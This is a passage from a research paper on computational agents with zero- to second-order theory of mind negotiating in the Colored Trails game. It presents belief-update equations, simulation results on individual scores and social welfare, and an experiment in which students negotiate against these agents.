trading partner is represented by $$U(b^{(0)},O_{t-1})$$, which is defined as \begin{aligned} U(b^{(0)}, O_{t-1})(O) = (1 - \lambda )^m \cdot b^{(0)}(O), \end{aligned} (12) where m is the number of colors for which the offer O assigns fewer chips to the trading partner than the offer $$O_{t-1}$$, and $$\lambda \in [0,1]$$ is an agent-specific learning speed. A similar update takes place when the trading partner rejects an offer made by agent i. When the offer $$O_t$$ made by agent i is rejected, the agent updates his beliefs to reflect that he believes it to be less likely that his trading partner will accept an offer O that assigns at least as many chips of a given color c to the agent as offer $$O_t$$ does. The belief update as a result of receiving an offer $$O_{t-1}$$ from the trading partner is represented by $$U(b^{(0)},O_{t-1})$$, which is defined as \begin{aligned} U^R(b^{(0)}, O_{t})(O) = (1 - \lambda )^{m'} \cdot b^{(0)}(O), \end{aligned} (13) where $$m'$$ is the number of colors for which the offer O assigns at least as many chips to agent i as the offer $$O_t$$, and $$\lambda \in [0,1]$$ is an agent-specific learning speed. Agents that make use of theory of mind also update their beliefs concerning the goal location of their trading partner in response to receiving an offer $$O_{t-1}$$ from their trading partner. By putting himself in the position of his trading partner, a $${ ToM}_{k}$$ agent believes it to be impossible that his trading partner has a goal location $$l \in L$$ for which $$\pi ^j_{t-1}(l, O_{t-1}) \le \pi ^j_{t-2}(l, D_0)$$. For otherwise, this would mean that the trading partner has made an offer that would yield him a lower score than withdrawing from negotiation. For other locations $$l \in L$$, the agent adjusts his beliefs based on the expected increase in the score of the trading partner if the offer $$O_{t-1}$$ would be accepted. That is, after observing the offer $$O_{t-1}$$ from his trading partner, the $${ ToM}_{k}$$ agent updates his location beliefs $$p^{(k)}$$ so that \begin{aligned} p^{(k)}(l) := \left\{ \begin{array}{ll} 0 &{} \hbox {if } \pi ^j_{t-1}(l, O_{t-1}) \le \pi ^j_{t-2}(l, D_0)\\ \beta \cdot p^{(k)}(l) \cdot \frac{1 + EV_i^{(k-1)}(O_{t-1})}{1 + \max _{O \in {\mathcal {D}}} EV_i^{(k-1)}(O)} &{} \hbox {otherwise,}\\ \end{array}\right. \end{aligned} (14) where $$\beta$$ is a normalizing constant. This update increases the beliefs assigned to locations for which the offer $$O_{t-1}$$ made by the trading partner receives a high expected value. These are offers that are closer to the offer that the $${ ToM}_{k}$$ agent would have made himself if he had been a $${ ToM}_{k-1}$$ agent in the position of his trading partner. ### Example 3 Figure 6 shows an example of the process of updating location beliefs for a $${ ToM}_{1}$$ agent. In this example, agent j offers to trade the black chip owned by agent i against the gray chip owned by agent j. Agent i interprets this offer by calculating the change in score for agent j if agent i were to accept the offer, for each possible goal location of agent j. In Fig. 6, these changes in scores are shown on the corresponding locations. For example, if the goal location of agent j is the tile in the bottom right corner, the score of agent j would increase by 600 points if agent i were to accept the offer. Since making an offer decreases the score of each agent by 1 point, agent i only makes offers that would increase his own score. By putting himself in the position of his trading partner, agent i therefore believes that agent j also only makes offers that increase the score of agent j. Agent i considers it impossible for any location with zero or negative score to be the goal location of his trading partner. That is, when agent i receives offer O, for each possible location $$l \in L$$ with $$\pi ^j_{t-1}(l, O) \le \pi ^j_{t-2}(l, D_0)$$, agent i sets $$p^{(1)}(l) = 0$$. For the remaining locations l, agent i determines what offer $$O'$$ he would have made himself, and compares how this relates to the offer O that his trading partner actually made. For example, if the goal location of agent j is the bottom left tile, accepting the offer of agent j would only increase his score by 50. However, for this goal location, agent j could have made a better offer. If agent j would have offered to exchange a white chip for the black chip of agent i, he could have increased the score of agent j by 150. As a result, agent i believes that it is unlikely that the goal location of agent j is the bottom left tile. On the other hand, agent i considers it very likely that the goal location of his trading partner is one of the locations with a number higher than 500, such as the bottom right tile. If agent i were to accept the offer made by agent j, agent j would be able to reach any of these locations. At the same time as updating his location beliefs, the $${ ToM}_{k}$$ agent also updates his confidence in kth-order theory of mind $$c_k$$ to reflect how well the agent feels the kth-order theory of mind model fits the behavior of his trading partner. This is achieved through \begin{aligned} c_k := (1 - \lambda ) \cdot c_k + \lambda \cdot \sum _{l \in L} p^{(k)}(l) \cdot \frac{1 + EV_i^{(k)}(O_{t-1})}{1 + \max _{O \in {\mathcal {D}}} EV_i^{(k)}(O)}. \end{aligned} (15) Using this update, the agent therefore assigns a higher confidence to orders of theory of mind that assign a high expected value to the offer $$O_{t-1}$$ made by the agent’s trading partner compared to the offer that the agent would have selected himself is he had been a $${ ToM}_{k-1}$$ agent in the position of his trading partner. Unlike the way location beliefs are updated, confidences are updated using adaptive expectations. This is because agents may change the order of theory of mind at which they reason over the course of a negotiation, while they are unable to change their goal location. Many of the belief updates described in this section make use of learning speed parameter $$\lambda$$. The agent’s learning speed is a fixed parameter that represents the degree to which the agent adjusts his beliefs in response to behavior of his trading partner. In addition to the order of theory of mind at which an agent is reasoning, an agent’s learning speed $$\lambda$$ also influences his negotiation strategy. For example, a $${ ToM}_{0}$$ agent with a high learning speed believes that his trading partner is unwilling to accept any offers other than the one the trading partner makes himself. Such a $${ ToM}_{0}$$ agent is less likely to make a counteroffer and more likely to withdraw from negotiations or accept the offer of his trading partner. On the other hand, a $${ ToM}_{0}$$ agent with learning speed $$\lambda = 0$$ does not adjust his behavior at all. Instead, such an agent will keep making the same offer until a successful trade is made. Following [13], theory of mind agents do not attempt to model the learning speed $$\lambda$$ of other agents. Instead, an agent makes use of his own learning speed when updating the beliefs he assigns to his trading partner. As a result, the beliefs that a theory of mind agent attributes to his trading partner are generally incorrect, unless both agents have the same learning speed. ### 5.5 Learning across games Theory of mind allows agents to view the game from the perspective of their trading partner. This provides theory of mind agents with a way to generalize the behavior of the trading partner across the $$5^{24}$$ possible game boards (ignoring initial sets of chips). However, $${ ToM}_{0}$$ agents do not have the ability to reason about the goals of the other. Instead, $${ ToM}_{0}$$ agents reason only about the behavior of their trading partner. In this section, we discuss how a $${ ToM}_{0}$$ agent can generalize the behavior of the trading partner across different games without the use of theory of mind. Note that learning discussed in this section determines how the $${ ToM}_{0}$$ agent constructs his zero-order beliefs at the start of a negotiation. Over the course of a negotiation, agents perform additional belief updates as described in Sect. 5.4. In our setting, the $${ ToM}_{0}$$ agent generalizes across games by classifying offers by the number of chips that are transferred from the agent to his trading partner, and the number of chips that are transferred from the trading partner to the agent himself. This allows agents to distinguish, for example, between an offer that trades one red chip for one blue chip and an offer that trades two red chips for two blue chips. However, across different games, the agent does not distinguish between an offer that trades one red chip for one blue chip and an offer that trades one green chip for one yellow chip. Since agents in our setting own an initial set of four chips, this generalization causes the $${ ToM}_{0}$$ agent to distinguish 25 classes of offers. Nevertheless, a separate pilot study indicated that this simple heuristic allowed agents to make mutually beneficial offers after a short learning period. At the start of each game, the agent’s zero-order beliefs $$b^{(0)}(O)$$ about the probability that the trading partner will accept a given offer $$O \in {\mathcal {D}}$$ is set to the observed frequency with which offers that transfer the same number of chips from the agent to the trading partner and the same number of chips from the trading partner to the agent have been accepted by the trading partner in the past. For example, if a $${ ToM}_{0}$$ agent has made 250 offers in which two chips were transferred to the trading partner and one chip to the agent, of which 220 have been accepted by the trading partner, the $${ ToM}_{0}$$ agent assigns a probability of 88% that his trading partner will accept an offer to trade two green chips owned by the agent against one red chip owned by the trading partner at the start of the game. Over the course of the negotiation process, this belief can still change, as described in Sect. 5.4. ## 6 Simulation results We performed simulations where the theory of mind agents described in Sect. 5 played the Colored Trails setting described in Sect. 3. Pairs of agents played repeated negotiation games, where each individual game is played on a different board with different sets of initial chips and different goal locations. Through the simulations, agents of different orders of theory of mind are confronted with trading partners with varying preferences and negotiation strategies. In each new game, agents started by reasoning at the highest order of theory of mind available to them. For example, a $${ ToM}_{2}$$ agent always started the game by taking into account the beliefs his trading partner might have about his own beliefs. To ensure that all agents had an incentive to negotiate to increase their score, games in which some agent could reach his goal location with the initial set of chips without trading were excluded from analysis. Additionally, the first 200 games were considered to be a setup phase for the zero-order beliefs of agents, which were initialized at 1. That is, at the start of a simulation, an agent believes that any offer will be accepted. During the first 200 games, agents may learn, for example, that an “offer” that consists of requesting the trading partner’s full set of chips is unlikely to be accepted. Similarly, higher-order theory of mind agents learn that their trading partner knows that such offers are unlikely to be accepted. The results from these 200 training games were not included in analysis.3 The figures in this section show the average change in score as a result of negotiation, which is calculated as the average difference between an agent’s final score after negotiation ended and his initial score at the start of negotiation. Although agents never accept an offer that decrease their score, negative scores are possible when agents take many rounds. In these cases, the cost of negotiation can outweigh the benefits of a mutually beneficial trade. Negotiation scores were averaged over 10 runs of 1,000 consecutive Colored Trails games, each on a different game board. Although negotiations could take infinitely long in theory, games that continued for more than 100 rounds of offers were considered to be unsuccessful. In this case, the initial situation became final, and both agents incurred the cost of 100 rounds of play. In our model, agents were unable to reason about this limit, and negotiated as if this limit did not exist. With one exception (see Sect. 6.1), the average length of a negotiation was at most 15 rounds. The limit of 100 rounds of play therefore did not influence the length of the negotiation in general. Although the agents alternate in making offers, so that both agents make offers to their trading partner, previous research into negotiation suggests that the opening bid of a negotiation can serve as an anchor for the entire negotiation process, making the first bid of a game especially influential [61, 63, 69]. Because of this, we differentiate between results for initiators, who make the first offer in every game, and responders. In the following subsections, we separate results for the competitive and cooperative aspects of negotiation in Colored Trails. In Sect. 6.1, we present the individual performance of agents, which shows how well agents compete. Section 6.2 focuses on the cooperative element of negotiation, and describes the effect of theory of mind on the combined score of the agents in the Colored Trails setting. We conclude each of these sections with a short summary of the results. ### 6.1 Individual performance results In this section, we describe the individual performance of theory of mind agents when negotiating in Colored Trails. By comparing how large a piece of pie the agents involved in Colored Trails end up with, we can determine how theory of mind influences the competitive abilities of agents. Throughout this section, we present graphs that show the scores of agents of various orders of theory of mind. The standard error of these agent scores was never higher than 9.12. As a result, a difference in score of at least 24 points is significant at $$\alpha = 0.01$$. Figure 7 shows the average negotiation scores of a $${ ToM}_{0}$$ initiator and a $${ ToM}_{0}$$ responder negotiating with each other, as a function of the learning speeds of the two agents. In these figures, a lighter color indicates a higher score. As a visual aid, the plane of zero performance appears as a semi-transparent plane in these figures. Figure 7 shows that even though $${ ToM}_{0}$$ agents are unable to reason explicitly about the goals and desires of their trading partner, they are often able to increase their score through negotiation. The $${ ToM}_{0}$$ agents only fail to reach a positive negotiation score when both agents have learning speed $$\lambda = 0$$. An agent with zero learning speed does not adjust his behavior in response to his trading partner, but repeats the same offer until his trading partner makes an acceptable offer. That is, an agent with zero learning speed expects his trading partner to adjust to his position, while the agent is unwilling to offer any alternatives himself. When both $${ ToM}_{0}$$ agents follow this strategy and neither is willing to accept the initial offer of their trading partner, they will be unable to reach an agreement and only carry the burden of a failed negotiation. Despite the fact that $${ ToM}_{0}$$ agents with a lower learning speed tend to engage in negotiations that take more turns, the results in Fig. 7 also show that for $${ ToM}_{0}$$ agents, negotiation score increases as their own learning speed decreases, unless the trading partner has learning speed $$\lambda = 0$$. This means that there is an evolutionary pressure on $${ ToM}_{0}$$ agents to decrease their learning speed, and adjust the offers they make as slowly as possible. However, this eventually results in the worst possible outcome in which negotiation fails. Negotiation failure does not occur when a $${ ToM}_{0}$$ initiator negotiates with a $${ ToM}_{1}$$ responder. Figure 8 shows that for every combination of learning speeds of the $${ ToM}_{0}$$ initiator and the $${ ToM}_{1}$$ responder, both agents receive a positive score on average. However, the evolutionary pressure to reduce learning speed still exists for the $${ ToM}_{0}$$ initiator. A $${ ToM}_{0}$$ initiator receives the largest piece of pie when his learning speed is $$\lambda = 0$$, in which case he leaves only a small piece of pie for the $${ ToM}_{1}$$ responder. This means that although the presence of the $${ ToM}_{1}$$ responder prevents negotiation failure, the $${ ToM}_{0}$$ initiator benefits most. Figure 9 shows a similar pattern when the roles are reversed, so that a $${ ToM}_{1}$$ initiator and a $${ ToM}_{0}$$ responder play Colored Trails. The $${ ToM}_{0}$$ responder performs best when his learning speed is zero, while the $${ ToM}_{1}$$ initiator prefers a higher learning speed. This allows the agents to negotiate successfully, with the $${ ToM}_{0}$$ responder receiving the most benefit. The presence of a $${ ToM}_{1}$$ agent yields a larger pie for the negotiating agents to share, but it is the $${ ToM}_{0}$$ agent that receives the largest piece. Figure 9 also shows that when the $${ ToM}_{1}$$ initiator has a learning speed $$\lambda \le 0.4$$, the score of both agents is zero. In these cases, the $${ ToM}_{1}$$ initiator withdraws from negotiation instead of making an initial offer. The reason for this is that the $${ ToM}_{1}$$ agent attributes his own learning speed to his trading partner. A $${ ToM}_{1}$$ agent with zero learning speed predicts that his trading partner will keep repeating the same offer until the $${ ToM}_{1}$$ agent makes an acceptable offer. This causes the $${ ToM}_{1}$$ agent to believe that the likelihood of finding a mutually beneficial trade is not worth the cost of negotiating. As a result, a $${ ToM}_{1}$$ initiator with learning speed $$\lambda = 0$$ withdraws from negotiation before making the initial offer. Figure 10 shows the negotiation scores of a $${ ToM}_{1}$$ initiator and a $${ ToM}_{1}$$ responder negotiating in Colored Trails. The figures show symmetry around the line of equal learning speeds that indicates that the $${ ToM}_{1}$$ agent with the lower learning speed generally receives the largest piece of the pie. A $${ ToM}_{1}$$ agent with a higher learning speed attributes this learning speed to his trading partner and expects that his offers will influence the behavior of his trading partner more strongly. This also leads a $${ ToM}_{1}$$ agent to believe that his trading partner is quick to conclude that a negotiation will be unsuccessful. To prevent his trading partner from withdrawing from negotiations, the $${ ToM}_{1}$$ agent makes offers that he believes to be more beneficial for his trading partner at the expense of his own score. This puts evolutionary pressure on $${ ToM}_{1}$$ agents to lower their learning speed. However, since $${ ToM}_{1}$$ agents perform poorly when their learning speed falls below $$\lambda = 0.2$$, the evolutionary pressure on $${ ToM}_{1}$$ agents is to have learning speeds close to $$\lambda = 0.2$$. When a $${ ToM}_{2}$$ agent negotiates with a $${ ToM}_{0}$$ agent, the results are visually indistinguishable from the situation in which a $${ ToM}_{1}$$ agent negotiates with a $${ ToM}_{0}$$ agent. That is, when playing against a $${ ToM}_{0}$$ agent, the ability to make use of second-order theory of mind does not provide an agent with benefits additional to the use of first-order theory of mind. Note, however, that the ability to make use of second-order theory of mind is likely to require additional resources. Figures 11, 12 show the performance of $${ ToM}_{1}$$ agents and $${ ToM}_{2}$$ agents that negotiate with each other. The graphs show that the $${ ToM}_{2}$$ agent typically has a higher score than his $${ ToM}_{1}$$ trading partner, irrespective of the roles and learning speeds of the agents. That is, the $${ ToM}_{2}$$ agent is highly effective in obtaining a larger piece of the pie than his trading partner. Note that since agents use theory of mind by attributing their own beliefs to their trading partner, a theory of mind agent only has an accurate model of his trading partner’s mental content when their learning speeds are the same. For a $${ ToM}_{1}$$ agent, Figs. 8 and 9 indeed show a high score along the line of equal learning speeds. Interestingly, however, the same is not true for the $${ ToM}_{2}$$ agents. Figures 11 and 12 show that there is no increased score for the $${ ToM}_{2}$$ agent along the line of equal learning speeds. That is, a $${ ToM}_{2}$$ agent benefits from the ability to attribute first-order theory of mind to his trading partner, even if the agent’s model of his trading partner’s beliefs is inaccurate. The negotiation scores of two $${ ToM}_{2}$$ agents negotiating with each other are shown in Fig. 13. Interestingly, the performance of the $${ ToM}_{2}$$ initiator in Fig. 13a is quite similar to the performance of the $${ ToM}_{2}$$ responder shown in Fig. 13b. Whereas results from lower orders of theory of mind show many opportunities to divide the pie in one large piece and one small piece, $${ ToM}_{2}$$ agents generally divide the pie in two pieces that are similar in size. As a result, the graphs in Fig. 13 show little variation in color. Nevertheless, $${ ToM}_{2}$$ agents that have a positive learning speed that is close to zero tend to do slightly better than $${ ToM}_{2}$$ agents that have a different learning speed. In our agent model, a theory of mind agent always starts a negotiation by reasoning at the highest order of theory of mind available to him. However, an agent may choose to play as if he were an agent of a lower order of theory of mind. This decision is based on the agent’s confidence $$c_k$$ in the use of kth-order theory of mind. Analysis of our simulation runs shows that agents typically lose confidence in the use of theory of mind in the beginning of the negotiation. A theory of mind agent believes that the behavior of his trading partner depends on his goal location. However, agents do not know the goal location of their trading partners at the start of a negotiation. As a result, a theory of mind agent loses confidence in the use of theory of mind. Over the course of negotiation, however, the agent obtains information about his trading partner’s goal location and regains confidence in the use of theory of mind. In summary, the results in this section show that the ability to make use of theory of mind can help individuals to negotiate better, although they do not show the same pattern as found for competitive games [13] as predicted by hypothesis $$H_1$$ in Sect. 3. Even though the presence of $${ ToM}_{1}$$ agents prevent negotiation failure in our simulations, the $${ ToM}_{1}$$ agent does not have a direct competitive advantage over a $${ ToM}_{0}$$ agent. Instead, the $${ ToM}_{1}$$ agent suffers the cost for achieving a cooperative solution, which leaves the $${ ToM}_{0}$$ agent with the larger piece of pie. The $${ ToM}_{2}$$ agent, on the other hand, does outperform the $${ ToM}_{1}$$ agent as expected by hypothesis $$H_1$$. Our results show that the $${ ToM}_{2}$$ agent can negotiate successfully with a $${ ToM}_{1}$$ trading partner, resulting in a pie that includes a large piece for the $${ ToM}_{2}$$ agent. When two $${ ToM}_{2}$$ agents negotiate with each other, the resulting pie is divided into pieces of a fairly similar size. In the next subsection, we take a closer look at the cooperative abilities of these theory of mind agents. ### 6.2 Social welfare results In the previous section, we compared the individual competitive performance of agents of various orders of theory of mind negotiating in Colored Trails. In this section, we show how theory of mind affects the cooperative ability of agents, by looking at the social welfare that theory of mind agents achieve through negotiation, where social welfare is measured by the sum of the scores of the initiator and the responder. Figure 14 shows the increase in social welfare for different combinations of theory of mind initiators and responders. Figure 14a shows that $${ ToM}_{0}$$ agents can cooperate surprisingly well. In the best-case scenario, both the $${ ToM}_{0}$$ initiator and the $${ ToM}_{0}$$ responder have a learning speed of around $$\lambda = 0.2$$. In this case, negotiators obtain an average social welfare of over 400 points in 4.4 turns of negotiation. However, due to the competitive element of Colored Trails described in Sect. 6.1, cooperation among $${ ToM}_{0}$$ agents is not stable. The $${ ToM}_{0}$$ agents experience an evolutionary pressure towards zero learning speed, which can eventually lead to negotiation failure. Although Sect. 6.1 shows that the presence of a $${ ToM}_{1}$$ agent can ensure that negotiation failure does not occur, Fig. 14 shows that this does not imply a higher social welfare. Figure 14b, c do not show an improvement over the performance of $${ ToM}_{0}$$ agents shown in Fig. 14a. Figure 14d shows that when two $${ ToM}_{1}$$ agents play Colored Trails together, they achieve the highest social welfare when both agents have a learning speed as high as possible. However, the competitive element in Colored Trails puts an evolutionary pressure on $${ ToM}_{1}$$ agents to lower their learning speed to a value of $$\lambda = 0.2$$. Although this does not lead to a breakdown of negotiation like in the case of $${ ToM}_{0}$$ agents, social welfare suffers from the lower learning speed of $${ ToM}_{1}$$ agents. The individual desire of $${ ToM}_{1}$$ agents to obtain as large a piece of pie as possible results in a smaller pie to share. Although the increase in social welfare depends greatly on the learning speed of $${ ToM}_{0}$$ agents and $${ ToM}_{1}$$ agents, Fig. 14e, f show that the learning speed of a $${ ToM}_{2}$$ agent has little effect on social welfare when a $${ ToM}_{2}$$ agent and a $${ ToM}_{1}$$ agent negotiate in Colored Trails. Instead, how negotiation affects social welfare in these cases is determined mostly by the learning speed of the $${ ToM}_{1}$$ agent. When two $${ ToM}_{2}$$ agents negotiate, the highest social welfare is achieved when both agents have a low but positive learning speed, as shown in Fig. 15. Note that this learning speed also yields them the highest score individually. That is, when two $${ ToM}_{2}$$ agents negotiate, the learning speed that would yield an agent the largest piece of pie is also the learning speed that would yield the largest pie to share. However, note that the highest social welfare that the $${ ToM}_{2}$$ agents achieve is not as high as the highest social welfare achieved by $${ ToM}_{0}$$ agents. This decrease in social welfare is partially caused by an increase in negotiation length. Especially at the start of a negotiation, a $${ ToM}_{2}$$ agent makes offers that he expects to be rejected by his trading partner. Rather, the $${ ToM}_{2}$$ agent expects that making the offer results in a counteroffer from the trading partner that the $${ ToM}_{2}$$ agent is willing to accept. In summary, contrary to hypothesis $$H_2$$ formulated in Sect. 3, our simulation results do not provide any evidence to support that theory of mind directly increases social welfare. However, we find that theory of mind can help to stabilize negotiation. While $${ ToM}_{0}$$ agents have the potential to negotiate a high social welfare, natural selection would favor those $${ ToM}_{0}$$ agents that increase their individual score at the expense of social welfare. These $${ ToM}_{0}$$ agents therefore face a social dilemma similar to the prisoner’s dilemma, which leads $${ ToM}_{0}$$ agents to a situation in which negotiation breaks down. A $${ ToM}_{1}$$ agent is able to avoid complete breakdown of negotiation by following a strategy that also takes the goals of the trading partner into account. However, $${ ToM}_{1}$$ agents face a similar social dilemma in which the individual desire to obtain as large a piece of pie as possible leads to a smaller pie to share. Interestingly, $${ ToM}_{2}$$ agents do not face the same social dilemma. When a $${ ToM}_{2}$$ agent negotiates with a $${ ToM}_{1}$$ or $${ ToM}_{2}$$ trading partner, the individual goal to obtain as large a piece of pie as possible leads to a pie for which the total size is as large as possible as well. In this sense, higher-order theory of mind can benefit social welfare in negotiation settings such as Colored Trails. ## 7 Human participant experiments In the previous sections, we showed how the use of higher orders of theory of mind can help to stabilize negotiation using simulations with computational agents. Since humans are known to engage in higher-order theory of mind reasoning, participants may take advantage of the benefits of higher-order theory of mind reasoning when negotiating with others. In this section, we test this prediction in experiments with human participants.4 Note that these experiments are not meant to fit the model of computational theory of mind agents to participant data. Rather, by letting participants play against computational agents, we aim to determine to what extent participants make use of theory of mind in these negotiation games. Since our theory of mind agents estimate the level of sophistication of their trading partner, we can use these computational agents to determine to what extent participant behavior is consistent with higher-order theory of mind reasoning. Specifically, by observing the actions of a participant, a $${ ToM}_{3}$$ agent determines whether it is more likely that the participant is using zero-order, first-order, or second-order theory of mind reasoning. In addition, by varying the level of sophistication of the computational agent, we can show whether participants adjust their level of theory of mind reasoning in response to the behavior of their trading partner. The remainder of this section is divided as follows. Section 7.1 describes the details of the experimental setup. The results of this analysis are presented in Sect. 7.2. ### 7.1 Experimental setup #### 7.1.1 Participants Twenty-seven students (10 female) of the University of Groningen participated in this study. All participants were informed that after the conclusion of the study, the three participants with the highest score in the negotiation game would receive €15, €10, and €5, respectively. Each participant gave informed consent prior to admission into the study. #### 7.1.2 Materials Human participants played a simplified variation of the computational agent simulation experiment of Sect. 6. Instead of the 1,200 negotiations that computational agents played, participants played 24 different negotiation games, each on a different game board. To further simplify the setting for human participants, the 1 point penalty per round of negotiation was removed. Instead, each game was restricted to six rounds of negotiation. That is, once six offers had been made in the same negotiation game, players could no longer choose to make a counteroffer, and were forced to either accept the offer of their trading partner or withdraw from negotiation. To ensure that these games would allow us to distinguish between different orders of theory of mind reasoning of participants, games were selected for this experiment according to the following conditions: • The participant’s goal could be reached with the eight chips in the game; • Simulations with computational agents predicted different outcomes for trading partners of different orders of theory of mind; and • Simulations with computational agents predicted that the game would last at least two turns and at most six turns. These 24 games were divided into three blocks of eight games each. Each block was associated with a level of theory of mind reasoning of the computational trading partner so that each participant played eight negotiation games with a $${ ToM}_{0}$$ trading partner, a $${ ToM}_{1}$$ trading partner, and a $${ ToM}_{2}$$ trading partner each. #### 7.1.3 Design and procedure Because colors played a significant role in the Colored Trails games, participants were tested on colorblindness before the start of the experiment. All participants passed this colorblindness test.5 The Colored Trails experiment consisted of a familiarization phase and an experimental phase. At the start of the familiarization phase, participants were asked to imagine themselves as an attorney for a major corporation. In this function, they would be involved in a number of negotiations with different clients. Participants were told that their trading partner was Alex, a computer player that would always react on their offer as quickly as possible in a way it believed would maximize its own score. To ensure understanding of the Colored Trails game, participants answered a few questions about the rules, scoring, and movements on the game board. Participants answered these questions correctly. In the experimental phase, participants played three blocks of eight games each. In each block, the participant negotiated with either a $${ ToM}_{0}$$, a $${ ToM}_{1}$$, or a $${ ToM}_{2}$$ agent. The order in which participants encountered these different trading partners was counterbalanced across participants. Although participants were informed that they would face different clients, they were not told that level of reasoning of the trading partner would change over the course of the experiment. At the start of the experiment, it was randomly decided whether the participant or the computational agent would make the initial offer of the first game. In subsequent games, participant and agent alternated in the role of initiator. Participants were allowed 60 seconds to decide on their next action. During each round, the remaining decision time was presented to participants by means of a countdown timer. If a participant had not made a decision within 60 seconds, the game continued without an offer being made, and the computational agent took its turn. The zero-order beliefs of theory of mind agents were initialized by playing 200 randomly generated Colored Trails games against a computational $${ ToM}_{0}$$ agent. At the start of each game, the agent’s beliefs were reset to this initial state. This generic initial state of the computational agent’s beliefs allowed us to compare the performance of participants more easily. Additionally, theory of mind agents started every game reasoning at the highest order of theory of mind available to them. This means that although computational agents learned from a participant’s offers within a single game and adjusted their behavior accordingly, agents did not exhibit any learning across games. As a result, agents were prevented from adapting to specific participants, and every participant faced the same agent in every scenario. This is consistent with our cover story, in which participants were told that they would negotiate with different clients. After the Colored Trails games, participants answered a short questionnaire about the perceived difficulty of the task, the behavior of their trading partner, and the participant’s reasoning strategies. In addition, participants took a test for their interpersonal reactivity index [11]. ### 7.2 Results Figure 16 shows the outcomes of the Colored Trails game. For each participant, the figure shows the increase in score as a result of negotiation in the Colored Trails game of both the participant and the computational trading partner, when playing against a $${ ToM}_{0}$$ agent (red circles), a $${ ToM}_{1}$$ agent (green triangles), and a $${ ToM}_{2}$$ agent (blue squares). Dashed lines indicate the zero performance line, which is the score that a player would have received if every game of the block had ended with withdrawal from negotiation. A score below or to the left of the dashed line indicates that a player has decreased his score as a result of negotiation. As Fig. 16 shows, only once a participant received a negative score in one of the blocks. Computational agents never accepted an offer that would have reduced their score. The solid line in Fig. 16 shows the boundary of Pareto efficient outcomes. This boundary shows those outcomes for which neither the participant nor the computational agent could have received a higher score without a decrease in the score of the other player. Note that since chips are more valuable to a player who can use them to move closer to his goal location, the Pareto boundary shows some discontinuities. The distance of a data point to the Pareto boundary gives an impression of how well participants and computational agents played Colored Trails. Figure 16 shows that participants and computational agents generally negotiated mutually beneficial solutions, while neither player systematically exploited the other. Additionally, on average, the blue squares in Fig. 16 are closer to the Pareto boundary, while green triangles are farther away. This suggests that when participants negotiate with $${ ToM}_{2}$$ agents, they tend to negotiate better outcomes, while negotiations between participants and $${ ToM}_{1}$$ agents are typically less successful. The experimental data show that when negotiating with $${ ToM}_{0}$$ agents, participant scores are 60 points higher than agent scores ($$W = 430, p < 0.01$$). However, when paired with a $${ ToM}_{1}$$ agent, participants score 50 points lower than their trading partner ($$W = 165, p < 0.02$$). Interestingly, the scores of $${ ToM}_{2}$$ agents are not significantly different to that of their human trading partners ($$W = 292.5$$, ns). Our theory of mind agents allow us to estimate to what extent participants make use of theory of mind while playing Colored Trails. We use a $${ ToM}_{3}$$ ‘spectator’ agent that observes the offers of a participant and adjusts his confidences $$c_k$$ in kth-order theory of mind accordingly. These confidences $$c_k$$ give insight in whether the behavior of participants is more indicative of zero-order, first-order, or second-order theory of mind reasoning. For each of the three blocks, Fig. 17 shows how similar participant offers were to offers of $${ ToM}_{0}$$, $${ ToM}_{1}$$, and $${ ToM}_{2}$$ agents, as judged by the $${ ToM}_{3}$$ spectator agent. Red circles indicate the average similarity of participant offers to zero-order theory of mind reasoning, green triangles indicate the similarity to first-order theory of mind reasoning, and blue squares show the similarity to second-order theory of mind reasoning. Interestingly, Fig. 17 shows that participant offers are more similar to first-order and second-order theory of mind reasoning than they are to zero-order theory of mind reasoning. Figure 17 also shows that the similarity ratings of participant offers vary depending on the order of theory of mind of the computer trading partner. Although similarity ratings for zero-order and first-order theory of mind reasoning show no variation across different levels of sophistication of the trading partner ($$X^2_{(2)} = 0.52$$, ns, and $$X^2_{(2)} = 2.67$$, ns, respectively), participant offers were significantly more similar to second-order theory of mind reasoning when they were facing a $${ ToM}_{2}$$ trading partner ($$X^2_{(2)} = 24.89$$, $$p < 0.001$$). In addition to the theory of mind level of the computational agent, the identity of the initiator influenced negotiation outcomes in our setting. The opening bid of a negotiation can serve as an anchor for the entire negotiation process [61, 69], making the first offer particularly influential in the negotiation process. In our experiment, both the participant and the computational agent ended up with an extra 15 points on average after negotiation when the computational agent made the initial offer rather than when the human participant was the first to propose a trade. The only exception to this rule was that participants negotiating with a $${ ToM}_{2}$$ agent ended up with a higher score when they made the initial offer themselves. This effect can be explained by the way agents of different orders of theory of mind construct their offers. Both $${ ToM}_{0}$$ and $${ ToM}_{1}$$ agents make offers that they believe will be accepted by their trading partner. In contrast, $${ ToM}_{2}$$ agents tend to make offers to change the beliefs and the behavior of their trading partner. As a result, initial offers made by $${ ToM}_{0}$$ and $${ ToM}_{1}$$ agents are typically more favorable to their trading partner than those made by $${ ToM}_{2}$$ agents. Similarly, when participants reasoned more like $${ ToM}_{2}$$ agents, their initial offers were more favorable to themselves than to their trading partner. In conclusion, our experiments show that human participants make offers that are more consistent with second-order theory of mind reasoning when their trading partner is capable of second-order theory of mind as well. Interestingly, while participants knew that they would negotiate with a number of different trading partners, they were unaware that these trading partners differed in their theory of mind abilities. That is, the behavior of higher-order theory of mind agents apparently encouraged participants to make use of higher-order theory of mind as well within a few rounds of play. The results of these experiments with human participants confirm that computational agents can benefit from the use of higher-order theory of mind reasoning. More importantly, these results show that human participants can also take advantage of these benefits. ## 8 Discussion and conclusion We have investigated the claim that the human ability for higher-order theory of mind may have arisen because of the existence of mixed-motive settings in which the use of higher-order theory of mind presents individuals with an evolutionary advantage [71]. For that purpose, we have simulated interactions between computational agents to show how higher orders of theory of mind can help in obtaining better outcomes in negotiation. In an experiment in which human participants interact with these computational agents, we have also shown that humans indeed take advantage of the benefits of higher-order theory of mind reasoning in negotiations. We investigated a particular mixed-motive setting known as Colored Trails [28, 45, 70], which serves as a prototypical multi-issue bargaining situation in which a wide variety of negotiation scenarios can be modeled. In this setting, we let agents of various orders of theory of mind alternate in offering a redistribution of chips under incomplete information about the preferences of their trading partner. In our agent model, a computational agent makes use of theory of mind by taking the position of his trading partner and calculating what his own actions would have been in that position. This approach differs from models of belief hierarchies (e.g., see [35, 36, 37]), in which a first-order theory of mind agent defines a probability distribution over all possible zero-order beliefs of his trading partner. Belief hierarchies provide a more general model of theory of mind abilities, but they also assume that a first-order theory of mind agent has an accurate model of any zero-order theory of mind agent. Our approach shows that agents can benefit from the use of higher-order theory of mind, even if they do not have such an accurate model. That is, the ability of theory of mind can emerge even if it does not provide a completely accurate model of the mental content of others. We found that under the right conditions, agents without any theory of mind abilities could successfully negotiate a mutually beneficial trade in Colored 